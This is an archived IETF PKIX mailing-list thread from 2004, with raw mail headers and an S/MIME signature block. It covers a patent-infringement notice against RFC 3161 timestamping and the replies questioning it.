Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PNHLwO077571; Thu, 25 Mar 2004 15:17:21 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from eikenes.alvestrand.no (eikenes.alvestrand.no [158.38.152.233]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PNHKtB077565 for <[e-mail]>; Thu, 25 Mar 2004 15:17:20 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (localhost.localdomain [127.0.0.1]) by eikenes.alvestrand.no (Postfix) with ESMTP id 1D80861B9C; Fri, 26 Mar 2004 00:17:25 +0100 (CET)
Received: from eikenes.alvestrand.no ([127.0.0.1]) by localhost (eikenes.alvestrand.no [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02552-06; Fri, 26 Mar 2004 00:17:24 +0100 (CET)
Received: from halvestr-w2k1 (localhost.localdomain [127.0.0.1]) by eikenes.alvestrand.no (Postfix) with ESMTP id 1661861B83; Fri, 26 Mar 2004 00:17:23 +0100 (CET)
Date: Thu, 25 Mar 2004 14:57:49 -0800
From: Harald Tveit Alvestrand <[e-mail]>
To: todd glassey <[e-mail]>, [e-mail], [e-mail]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Message-ID: <286988657.1080226669@localhost>
In-Reply-To: <032e01c412b0$f3527cf0$010aff0a@gw>
References:  <032e01c412b0$f3527cf0$010aff0a@gw>
X-Mailer: Mulberry/3.1.0 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new at alvestrand.no
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Todd,

to be perfectly clear: Is this the technology IPR that you disclosed to the 
IETF using the disclosure filed as 
<http://www.ietf.org/ietf/IPR/glassey-mcneil-datum-ipr-general.txt>, dated 
May 29, 2003, and no other?

Will you send in an updated IPR disclosure claiming specifically that you 
believe this IPR to be relevant to RFC 3161?

Standard Disclaimer: The IETF takes no position.......

                   Harald

--On 25. mars 2004 13:28 -0800 todd glassey <[e-mail]> 
wrote:

>
> Lets talk about legal stuff for a minute... and I don't really need anyone
> to respond to this unless they want to do so with my lawyers.






Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PMuNdm075558; Thu, 25 Mar 2004 14:56:23 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PMuNaO075557; Thu, 25 Mar 2004 14:56:23 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PMuMxw075548 for <[e-mail]>; Thu, 25 Mar 2004 14:56:22 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2PMuHbi003328 for <[e-mail]>; Thu, 25 Mar 2004 17:56:21 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0602041dbc8909f146e6@[128.89.89.75]>
In-Reply-To: <032e01c412b0$f3527cf0$010aff0a@gw>
References: <032e01c412b0$f3527cf0$010aff0a@gw>
Date: Thu, 25 Mar 2004 17:20:42 -0500
To: [e-mail]
From: Stephen Kent <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Content-Type: multipart/alternative; boundary="============_-1131867147==_ma============"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--============_-1131867147==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Folks,

Attached is the abstract for Todd's latest patent in this area, which 
he alluded to in his posting to this list.

Since RFC 3161 makes no mention of using time stamp info for access 
control, the likelihood of this RFC infringing seems questionable to 
me, but that, of course is not a legal opinion.

If Todd wanted to follow established IETF procedure, as per RFC 2606 
he should have sent this message to [e-mail]. In fact Todd 
did post such a message for his previous IPR assertions in this 
general area, but maybe he didn't feel that such posting had 
sufficient dramatic effect.

Steve
-------


Controlling access to stored information based on geographical 
location and  date and time

Abstract

Access to stored information by a user is controlled by comparing an 
actual  geographic position and/or an actual date/time with a 
geographic region  and/or a date/time interval within which access to 
the stored information  is authorized. The actual geographic position 
where the stored information  is located, and the actual date/time 
can be determined, for example, based  on signals received at a 
receiver supplying reliable position and time  information, such as a 
GPS receiver. Access to the stored information is  authorized if the 
actual geographic position and/or date/time falls within  the 
authorized geographic region and/or date/time interval. The position 
and date/time information supplied by the receiver may be 
cryptographically signed and encrypted.
--============_-1131867147==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>Folks,</div>
<div><br></div>
<div>Attached is the abstract for Todd's latest patent in this area,
which he alluded to in his posting to this list.</div>
<div><br></div>
<div>Since RFC 3161 makes no mention of using time stamp info for
access control, the likelihood of this RFC infringing seems
questionable to me, but that, of course is not a legal opinion.</div>
<div><br></div>
<div>If Todd wanted to follow established IETF procedure, as per<font
color="#000000"> RFC 2606</font> he should have sent this message to
[e-mail]. In fact Todd did post such a message for his
previous IPR assertions in this general area, but maybe he didn't feel
that such posting had sufficient dramatic effect.</div>
<div><br></div>
<div>Steve</div>
<div>-------</div>
<div><br></div>
<div><font color="#000000"><br></font></div>
<div><font color="#000000">Controlling access to stored information
based on geographical location and&nbsp; date and time</font></div>
<div><font color="#000000"><br>
<b>Abstract</b></font><br>
<font color="#000000"><b></b></font></div>
<div><font color="#000000">Access to stored information by a user is
controlled by comparing an actual&nbsp; geographic position and/or an
actual date/time with a geographic region&nbsp; and/or a date/time
interval within which access to the stored information&nbsp; is
authorized. The actual geographic position where the stored
information&nbsp; is located, and the actual date/time can be
determined, for example, based&nbsp; on signals received at a receiver
supplying reliable position and time&nbsp; information, such as a GPS
receiver. Access to the stored information is&nbsp; authorized if the
actual geographic position and/or date/time falls within&nbsp; the
authorized geographic region and/or date/time interval. The position&nbsp;
and date/time information supplied by the receiver may be&nbsp;
cryptographically signed and encrypted.</font></div>
</body>
</html>
--============_-1131867147==_ma============--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PLZ0G5071044; Thu, 25 Mar 2004 13:35:00 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PLZ0nH071043; Thu, 25 Mar 2004 13:35:00 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc13.worldnet.att.net (mtiwmhc13.worldnet.att.net [204.127.131.117]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PLYw6L071034 for <[e-mail]>; Thu, 25 Mar 2004 13:34:59 -0800 (PST) (envelope-from [e-mail])
Received: from gw (151.san-jose-04-05rs.ca.dial-access.att.net[12.72.193.151]) by worldnet.att.net (mtiwmhc13) with SMTP id <2004032521345611300sjv5ve>; Thu, 25 Mar 2004 21:34:57 +0000
Message-ID: <032e01c412b0$f3527cf0$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Thu, 25 Mar 2004 13:28:52 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Lets talk about legal stuff for a minute... and I don't really need anyone
to respond to this unless they want to do so with my lawyers.

---------------------------------------------------

Be advised that I am claiming there is an unauthorized identified use of
RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
patent ("Controlling Access to Stored Information" - US 6370629 and EP
0997808, et al).  As such, I am formally putting the IETF/IESG on notice
thereof.

Further, these same uses may also violate any number of other "Receipt"
patents issued (including, but not limited to, the original Fisher and Haber
patents; those of others in the Time Management and in the XML
Receipt Business), as well as other patents still in the works.

In light of this notification, please be aware that it is the responsibility
of the developers to do proper diligence prior to releasing commercial or
free services using RFC3161 as its base.

Be advised that we are currently very concerned. If any such RFC3161
application is used for evidentiary purposes or if it is used to enable
control of any access to any data, or data in any record structure,
such use may be in violation of these globally issued patents.

Obviously, in instances where such violation is evident, we will take swift
legal steps to protect our patent(s) while preventing any further
unauthorized use. This would include any violations and damages resulting
from all those responsible, even National Governments using RFC3161 for
commercial and audit purposes (including the EU and its member States).

Please feel free to have the IETF's or IESG's or any other appropriate
attorney (or Developers wishing to avoid the legal complications of an
authorized use) contact me regarding this matter for my point of service so
appropriate licensing can be arranged to protect these patents against such
infringement involving those Developer's Application Systems .

Todd Glassey
Patent Rights Owner and Inventor -US 6370629



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PEDRdq033063; Thu, 25 Mar 2004 06:13:27 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2PEDRO2033062; Thu, 25 Mar 2004 06:13:27 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail.2wire.ch (mail.2wire.ch [62.65.128.20]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2PEDPaB033050 for <[e-mail]>; Thu, 25 Mar 2004 06:13:26 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 59580 invoked by uid 89); 25 Mar 2004 14:13:16 -0000
Received: from unknown (HELO swisssign.com) (62.65.151.222) by mail.2wire.ch with SMTP; 25 Mar 2004 14:13:16 -0000
Message-ID: <[e-mail]>
Date: Thu, 25 Mar 2004 15:13:12 +0100
From: Joseph Doekbrijder <[e-mail]>
Organization: SwissSign AG
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007
X-Accept-Language: de-ch, en-us, en, fr-ch
MIME-Version: 1.0
To: Massimiliano Farris <[e-mail]>
CC: "'[e-mail]'" <[e-mail]>
Subject: Re: TSA for testing
References: <[e-mail]>
In-Reply-To: <[e-mail]>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040703060103090900000202"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a cryptographically signed message in MIME format.

--------------ms040703060103090900000202
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

SwissSign has an RFC3161 conform timestamping service 
http://swisssign.net/tsa but due to the unclear patenting issue we have 
take it off-line and are merely showing the functionality, not the 
actual product. If you like to test something please contact me directly.
If anyone on this list has information of the patenting story of the 
RFC3161 please let me know...

Cheers

Josh


Massimiliano Farris wrote:

>  Hi all,
>
>  I'm making some tests with my TSP client,
>  but I cannot find any testing TSA online.
>  Can anyone tell me if there is one?
>  What happened to the standardisation process
>  of TSP (RFC3161)?
>  thanks in advance,
>                     Max
>
>--
>Massimiliano Farris
>Pubblica Amministrazione
>-------------------------------------
>SarasLab S.r.l.
>Tel.  [phone]
>Fax  [phone]
>e-mail: [e-mail]
>
>  
>

-- 
Joseph A. Doekbrijder
--------------------------------------------------
SwissSign AG
Löwenstrasse 1, CH-8001 Zürich
Tel: [phone] / Mobile: [phone]
www.swisssign.com
--------------------------------------------------

This message has been digitally signed to ensure unaltered and 
authenticated reception. Should you receive an error message regarding 
the validity of the signature, please click and download the SwissSign 
root certificate using the following link  https://swisssign.net/trust/
After installation, your mail client will be able to automatically 
verify the authenticity of e-mail messages sent to you by users of 
SwissSign certificates.


--------------ms040703060103090900000202
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIWiTCC
A2EwggJJoAMCAQICCGQgZ70rBHuyMA0GCSqGSIb3DQEBBQUAMGkxIzAhBgNVBAMTGlN3aXNz
U2lnbiBQZXJzb25hbCBHb2xkIENBMSEwHwYJKoZIhvcNAQkBFhJnb2xkQHN3aXNzc2lnbi5j
b20xEjAQBgNVBAoTCVN3aXNzU2lnbjELMAkGA1UEBhMCQ0gwHhcNMDMxMjExMTQzOTA1WhcN
MDQxMjExMTQzOTA1WjB4MSQwIgYDVQQDExtKb3NlcGggQW50b25pdXMgRG9la2JyaWpkZXIx
LzAtBgkqhkiG9w0BCQEWIGpvc2VwaC5kb2VrYnJpamRlckBzd2lzc3NpZ24uY29tMRIwEAYD
VQQKEwlTd2lzc1NpZ24xCzAJBgNVBAYTAkNIMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
gQCpc7LucWH/EP2YmDBOMZVmPzy8JfYovxAL8wbfuXjFQLg4/orh+8AonyozzaK0fJzFw/D4
46z3siNvu065E6AKM3BFPSsyS5RrUPnYjtxcLAmfv+OsR5gAMA1hhsS571XCWaVPvEuCIltW
RvpcKVeuAsdpR6p7eW7UPQuO0EgR4QIDAQABo4GBMH8wHwYDVR0jBBgwFoAU8jaGz72k1nnf
MpmM0FlpHQWVLIYwDgYDVR0PAQH/BAQDAgQwMB8GA1UdJQQYMBYGCisGAQQBgjcKAwQGCCsG
AQUFBwMEMCsGA1UdEQQkMCKBIGpvc2VwaC5kb2VrYnJpamRlckBzd2lzc3NpZ24uY29tMA0G
CSqGSIb3DQEBBQUAA4IBAQBY4/HrZkMYrF0LKNWpDrYTbEM7wRjHKtpjMHWb1DlAm1qRBWAB
0Ns/jyCHLedGlRydHuVPh+THO9PPgRESIWoWq88uz+gpue3A4DWpuk7BqrYKXFfKTa1uKsfE
L62LJ0cO8Q09aCkkEpETL8u92s68328QPhSgFmX5wgToyG3Vw2EOMTcbCeKFRYSkZTywe2NV
IMkDKKUDuRYBYZZ1Db8P3SzF26bszuUH+4HsbgIg8K+mrEeln9aHpbujAUVx8huCpYR25Ziz
rtK2vHmDd2VQUfOs+gA4dns7Ys+sOYXYWn2ZvXycCirQktDuaOTAxRXrBXByGLTNDsJBsNQI
FbZdMIIDqTCCApGgAwIBAgIIXLEyej+EomAwDQYJKoZIhvcNAQEFBQAwZDEcMBoGA1UEAxMT
U3dpc3NTaWduIFNpbHZlciBDQTEjMCEGCSqGSIb3DQEJARYUc2lsdmVyQHN3aXNzc2lnbi5j
b20xEjAQBgNVBAoTCVN3aXNzU2lnbjELMAkGA1UEBhMCQ0gwHhcNMDMxMDEyMTEzODIyWhcN
MTUxMDA2MTMzNjU3WjBgMRowGAYDVQQDExFTd2lzc1NpZ24gR29sZCBDQTEhMB8GCSqGSIb3
DQEJARYSZ29sZEBzd2lzc3NpZ24uY29tMRIwEAYDVQQKEwlTd2lzc1NpZ24xCzAJBgNVBAYT
AkNIMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstKfzDugVAxC63Qhl8+Cko7T
Kjh0aMls6o0iYfPE6LU9jRHGRE2FyEoI4+3EgotNIVEX7GOTtQUL3YRzkJ55T/urzNtWDead
etokNxoH1KrYObxIuFeSyepEN/QKcNedliNqwGF3wPqKCGna554QeyV44pRhvNH3+hFL3Mz3
Tazf2wtmE/et/JSAFFUPWfSqrugURE1G2kaB9o2tt/BFtEjslSD41D9g7nexjvgHDyRKsoY3
FoEHexV/ttvFZNzGJJ7NLwgC84JvCdLi3RvNyGfiWnqkjuRdQOohAsWNJcjn7aoksB5y/Ipr
BjsivtY/LBYQ7zq+Sc8v+8bf3T1lzwIDAQABo2MwYTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUtGz1MEEswDyRjDQnY/pVvPzntD8wHwYDVR0jBBgwFoAU
EvoMgVv/f9El2B5zMDUPRhg2snUwDQYJKoZIhvcNAQEFBQADggEBADG0plqQXp/SAJjFJYax
q1R+3LaDheER1IgXaIem+nofwcBaCvEP+vkWkEuBwFbvI97tKlO6oY1WtVlJHbkfHXcvRAiv
s8W9EbuQlXJ9g1J+ZKJbnI/KmTwsNYvHj5PBe9+PwvA1oZwTJDEEBSaUcdOxaNw3ceka7oTd
dWXfAWUhGXDmS3O2yTHVovUrFAshmYEz9r4YRvbUzkKYcP12zOu2UmdrCOzSWua2EOuSimLM
se00IOJTlhJMfL+ly6O8G1MA7wTqKkSgnDbVe0XsMQYmSJaiVqSkRGIUYE7mvlq9YKCguBZ1
fpmurO0BeWvmzZxZT/7VBjcfMzwS1tZ4CeAwggOuMIIClqADAgECAggQSAsMRGstRTANBgkq
hkiG9w0BAQUFADBgMRowGAYDVQQDExFTd2lzc1NpZ24gR29sZCBDQTEhMB8GCSqGSIb3DQEJ
ARYSZ29sZEBzd2lzc3NpZ24uY29tMRIwEAYDVQQKEwlTd2lzc1NpZ24xCzAJBgNVBAYTAkNI
MB4XDTAzMTAxMjExNTgyMloXDTA2MTAxMjExNTgyMlowaTEjMCEGA1UEAxMaU3dpc3NTaWdu
IFBlcnNvbmFsIEdvbGQgQ0ExITAfBgkqhkiG9w0BCQEWEmdvbGRAc3dpc3NzaWduLmNvbTES
MBAGA1UEChMJU3dpc3NTaWduMQswCQYDVQQGEwJDSDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMZmnWhcHmQ8GZB+9uoZyb+LmqUqYRWWL6vSFwWMSQdtn7aMT0zVI1N37y2I
LN5/KurG53SonxgMfwqsxgdD3jI77yyJwsN0aMdBDotcL+pXSJqlC1gpDsVHtMIyQs5PqYTx
Y3uUJVbBERchLFLv/2VJ0iBGXg009lyNVULa9VFcG/F2UF34YranOWBW4OSQowf1kJYNXr4A
eKhpLnNhv30/fdIMRrihygQCPaMJ0nQAEuBVbFSfOUQPvMDDBwYKC+yMkcm5QWgnVGXAeyrA
x7k8+rKPfNbYqnyeL9aAnyUMkYm6FtUsaM5I6HNWJY63gfqqPeprFuogZNY1Rwq2mNMCAwEA
AaNjMGEwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPI2hs+9
pNZ53zKZjNBZaR0FlSyGMB8GA1UdIwQYMBaAFLRs9TBBLMA8kYw0J2P6Vbz857Q/MA0GCSqG
SIb3DQEBBQUAA4IBAQCuHGJh9r2LiKenYuA4Imi1TZ0YWVB0o2Kfo6HD3CPZwavyPzXiShM0
0PGIoX/bs+K36PYj24E6gdp78B4hzqPP525wUapDy/WX8nur8XbrcdEwffWy+Cmz593an7Xy
iFl18wIDGLGkpGpwtM/Jiu2QLUughU7Eh0/i6R1+oUPLF9wYcB0eoYnDBK0KWFvTEWkLAWYb
F45PV4tsBXWI+UTQBB93rgdjQbJNxSv7K/kLAQY/mWs9fF2jp4X8+UMthm28TkHE7VAok0md
Ma9x3X1ZrMDmb3ijkUxwJhFewelg9vMZdcXUHjezw5J83L5I8aBQmfKIHLDEg2XVcQUhMi/B
MIIDwDCCAqigAwIBAgIJAOjyHqbBu/cuMA0GCSqGSIb3DQEBBQUAMHYxCzAJBgNVBAYTAkNI
MRIwEAYDVQQKEwlTd2lzc1NpZ24xMjAwBgNVBAMTKVN3aXNzU2lnbiBDQSAoUlNBIElLIE1h
eSA2IDE5OTkgMTg6MDA6NTgpMR8wHQYJKoZIhvcNAQkBFhBjYUBTd2lzc1NpZ24uY29tMB4X
DTAzMTAwNjEzMzY1N1oXDTE1MTAwNjEzMzY1N1owZDEcMBoGA1UEAxMTU3dpc3NTaWduIEJy
b256ZSBDQTEjMCEGCSqGSIb3DQEJARYUYnJvbnplQHN3aXNzc2lnbi5jb20xEjAQBgNVBAoT
CVN3aXNzU2lnbjELMAkGA1UEBhMCQ0gwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDA0TvGY7vE2Z2U4Ootl3tb6AZN4SPTTN6HYMyzL9OeKWzlMfnwJqEzv4yjkFMcaStrmyRO
PMkwLEWcd3FiaxKBmr0eCN9ybgZuhKvSxYfaqcM5QAgPqK6yA2WQ+sgWAUlEH4PdhCUYd84q
eOlswzzrtbggVWQsbh/LoT7edOeBJlDiIHufmmXTl5X7psFIImkWJbnegd7fidhRuUxMJF0X
LcA/9WaJzZDZSmGONRSP+WOzlM/o4xunjPwIoCWKSIo9NMWtJ29az01/TcLehpyMjQg7a+PJ
3yFtl5PbS25Jm7W9IopISNPGYzucjOIVKYo9BQ5F32lGn8NJl418yNttAgMBAAGjYzBhMA4G
A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRygIjtngs9r6moa09a
F+LUoY5lJDAfBgNVHSMEGDAWgBSW13HNOSrU/IixiqtTeGnvj0d+FjANBgkqhkiG9w0BAQUF
AAOCAQEApFfZjNGeQ7OtxCPI3mI1rjF2gbxMTMtMeJeaxH2QSJsrvcKRQ29v0wzDLMmeKFR8
d3B8PDh8aqw2IGz1X3FcIn7CUTdoOvFCGuW0SpdvKzgt3RVOpp4HFcfMK6mxubSHCBV6f66A
UyxbK+Sv7Rpwn3BZ6AYndMzYMEk6IrAvrurIz6h2DTrwEO3oH1GKRpYljlcoh+mKEnvZit6b
vGNcLpLTMZNe+0dlKzw1uHNI9gqteNqn/BqunMDAqPcBX4uZ0em7P/ZJ8+SACnsz96+R5MSV
EeoFqWQoRQAxNgjUXTy0xYa4cGRqeXtTO/s3mKgDBWktCFXU0f0kb0IQIBmGqDCCA/gwggLg
oAMCAQICCQDemCdyDdsdVTANBgkqhkiG9w0BAQUFADBkMRwwGgYDVQQDExNTd2lzc1NpZ24g
QnJvbnplIENBMSMwIQYJKoZIhvcNAQkBFhRicm9uemVAc3dpc3NzaWduLmNvbTESMBAGA1UE
ChMJU3dpc3NTaWduMQswCQYDVQQGEwJDSDAeFw0wMzEwMTIxMTM2MzJaFw0xNTEwMDYxMzM2
NTdaMGQxHDAaBgNVBAMTE1N3aXNzU2lnbiBTaWx2ZXIgQ0ExIzAhBgkqhkiG9w0BCQEWFHNp
bHZlckBzd2lzc3NpZ24uY29tMRIwEAYDVQQKEwlTd2lzc1NpZ24xCzAJBgNVBAYTAkNIMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzPdBfCH+e+kxpt0cSTkKm1pJXXdRCNJ8
mrbsNpuX2O290pzz1dEF7DKFCH+k9bm8Yqj1KgyhKrt7JoNGUHW83sU+8jjrYG/ZPrfusCH+
4iiVZciBCvPdM1t0qvPZvWrKVYdIb+3t8aQz8+L08zFLdkxG49M+4cMW5srECPy4YJ3kJzVr
awrXBMAchqviMngsyWuKw5qV5FA9pp36wDsumItoZXL3BOsMsU2lh3z/OLhDpXA5D83mgEOW
RbqkfSWyaT1lcIuoMZ/XMdT8ahU+3GWnZ8O9tQFg0//SfrlT3Zsp7Hhx0XEtsuIKQZTrsUHj
QzR+bk9RlKLz3Sy5nxPRRQIDAQABo4GsMIGpMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E
BTADAQH/MB0GA1UdDgQWBBQS+gyBW/9/0SXYHnMwNQ9GGDaydTAfBgNVHSMEGDAWgBRygIjt
ngs9r6moa09aF+LUoY5lJDBGBgNVHR8EPzA9MDugOaA3hjVodHRwczovL3N3aXNzc2lnbi5u
ZXQvY2dpLWJpbi9hdXRob3JpdHkvY3JsP2NhPUJyb256ZTANBgkqhkiG9w0BAQUFAAOCAQEA
qaVWxVi644azmxYNNglkRVA5pFsU3zN4zepYrjEmamFgGROsNKYCwf06cGDHXsJyxZzkzFPG
FTR5/pRLoDWnEuFgfm+a6XA9qTUecun+909Dkz8EbNk/KsWaGEG+HxMjwnusctjeWhO32rRH
+AWJW9VhNR+ggbkGwbVadRClY7359ChoWTwkySWb2hjTZU3BOnqAOYJ2QPKiWMrGODN9Jo94
+hfxcD6o08ak5KY/5Bza4EEL/sbS/quhoCZsg8TBD4+KeXgbVqU9XlPHk/gq1RTy49SPmRkQ
lgwFSvQRRAD/5oQX3ZKxhXAVsEYHyGvqCsFvXWKagulb5NjNdD0pyTCCBAEwggLpoAMCAQIC
CQCVT/juYWAhTDANBgkqhkiG9w0BAQUFADBpMSMwIQYDVQQDExpTd2lzc1NpZ24gUGVyc29u
YWwgR29sZCBDQTEhMB8GCSqGSIb3DQEJARYSZ29sZEBzd2lzc3NpZ24uY29tMRIwEAYDVQQK
EwlTd2lzc1NpZ24xCzAJBgNVBAYTAkNIMB4XDTAzMTIxMDIxNDAwMVoXDTA0MTIxMDIxNDAw
MVoweDEkMCIGA1UEAxMbSm9zZXBoIEFudG9uaXVzIERvZWticmlqZGVyMS8wLQYJKoZIhvcN
AQkBFiBqb3NlcGguZG9la2JyaWpkZXJAc3dpc3NzaWduLmNvbTESMBAGA1UEChMJU3dpc3NT
aWduMQswCQYDVQQGEwJDSDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJVGvsFb
4Ufs++D4cxTnv2yHvmLjKZQ2qfPT7YO2dfffZbiba4qkKQ8xLE05D1EqlLvXm+4dRksjDhty
OzwZeWajZ/TGwPgP3jXOURlqkyhVrX0kt5EzW5EokcMC/Ais422LqtJ5kq2nOvK7NGYtevS0
pMbHi5NZtkWUwVZaRjjOJaTGO2xDkjAOdYIyI8vdEIedJIW6LGHIZsYjI+yW7sUlI6hCXhrV
nsmdu/shG/TTsvDQUW28Yl7/l/uvikFsuy4erDKDHcbth/xKsI/KkfX40jGqGI0SlQ7fHBph
DwbnbOKJJSu1wgMT1dvuwLyFEBqyf0OSPZROpK11T3d2LdcCAwEAAaOBnDCBmTAfBgNVHSME
GDAWgBTyNobPvaTWed8ymYzQWWkdBZUshjAOBgNVHQ8BAf8EBAMCA8gwKQYDVR0lBCIwIAYI
KwYBBQUHAwQGCCsGAQUFBwMCBgorBgEEAYI3FAICMDsGA1UdEQQ0MDKgMAYKKwYBBAGCNxQC
A6AiDCBqb3NlcGguZG9la2JyaWpkZXJAc3dpc3NzaWduLmNvbTANBgkqhkiG9w0BAQUFAAOC
AQEAZTUBqQgk5nB+0W7Mozv/uD6lRurjZhWShstlaQ43qvVHcsDgb4mW/bynla9BDmM/NsQU
43ZsoFxjkJsxFCpgm5BuMt1KuD7FSHJ0mxRswaGf9mHxftU1cu/YhY/AjrsFHEnsPHZaYAAm
jcKunHgT+yckvUZR3RQDkgVE4PQ3YpsG1EPKQSEAFbmWAd4+TxJmuBXThDM63gOkY4Q7gE1b
Y1kjkdRlJ2TZ/gOItQ3AsfwS7mq+ANYnUBrWkrnUd85Nmgzv5ys7zxuz9tp64vS+xYW98mri
ruGl9stN/b7SbOFTsp8SUm83e9qPOQZRYPS6TYYKUObj3LbaXJEIqKD51DGCA2IwggNeAgEB
MHYwaTEjMCEGA1UEAxMaU3dpc3NTaWduIFBlcnNvbmFsIEdvbGQgQ0ExITAfBgkqhkiG9w0B
CQEWEmdvbGRAc3dpc3NzaWduLmNvbTESMBAGA1UEChMJU3dpc3NTaWduMQswCQYDVQQGEwJD
SAIJAJVP+O5hYCFMMAkGBSsOAwIaBQCgggHBMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEw
HAYJKoZIhvcNAQkFMQ8XDTA0MDMyNTE0MTMxMlowIwYJKoZIhvcNAQkEMRYEFDifJFIDQzEY
h+3tA7HOjRofJKdSMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwIC
AgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGEBgkrBgEEAYI3
EAQxdzB1MGkxIzAhBgNVBAMTGlN3aXNzU2lnbiBQZXJzb25hbCBHb2xkIENBMSEwHwYJKoZI
hvcNAQkBFhJnb2xkQHN3aXNzc2lnbi5jb20xEjAQBgNVBAoTCVN3aXNzU2lnbjELMAkGA1UE
BhMCQ0gCCGQgZ70rBHuyMIGGBgsqhkiG9w0BCRACCzF3oHUwaTEjMCEGA1UEAxMaU3dpc3NT
aWduIFBlcnNvbmFsIEdvbGQgQ0ExITAfBgkqhkiG9w0BCQEWEmdvbGRAc3dpc3NzaWduLmNv
bTESMBAGA1UEChMJU3dpc3NTaWduMQswCQYDVQQGEwJDSAIIZCBnvSsEe7IwDQYJKoZIhvcN
AQEBBQAEggEAeDHsW+VvNvVOnWfS3MKhMy9/BgknHSeScfl2HTSPh4c8fj+oW9qVfQsDOmV4
